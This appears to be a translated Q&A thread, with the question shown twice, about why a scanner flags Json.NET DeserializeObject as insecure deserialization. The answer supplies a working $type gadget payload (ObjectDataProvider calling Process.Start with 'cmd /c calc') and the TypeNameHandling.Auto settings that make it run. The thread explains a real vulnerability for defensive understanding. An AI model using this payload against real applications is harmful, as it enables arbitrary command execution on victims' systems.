一款静态安全扫描工具在我的 C# 代码中标记了这一行:
var result = JsonConvert.DeserializeObject<dynamic>(response);
response
将包含来自 Web API 的 JSON 响应。
扫描程序将其标记为“不安全的反序列化”。
有人可以帮我理解如何利用这一点吗?Web 示例并没有真正清楚地说明利用是否可以发生在 DeserializeObject
方法内部,还是仅在反序列化之后。
一款静态安全扫描工具在我的 C# 代码中标记了这一行:
var result = JsonConvert.DeserializeObject<dynamic>(response);
response
将包含来自 Web API 的 JSON 响应。
扫描程序将其标记为“不安全的反序列化”。
有人可以帮我理解如何利用这一点吗?Web 示例并没有真正清楚地说明利用是否可以发生在 DeserializeObject
方法内部,还是仅在反序列化之后。
尝试对此 JSON 进行反序列化:
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": [ "cmd", "/c calc" ]
},
"ObjectInstance": { "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
}
使用这段代码
dynamic obj = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
它将打开Windows计算器应用程序。任何可执行文件或脚本都可以运行同样的方式。如果您使用 object 而不是
dynamic 或非泛型的
DeserializeObject 方法,则问题仍然存在。请注意,如果您不设置
TypeNameHandling = TypeNameHandling.Auto ,其他人可能会像这样设置全局设置:
<code><code><code>JsonConvert.DefaultSettings = () =>
new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.Auto};
</code></code></code>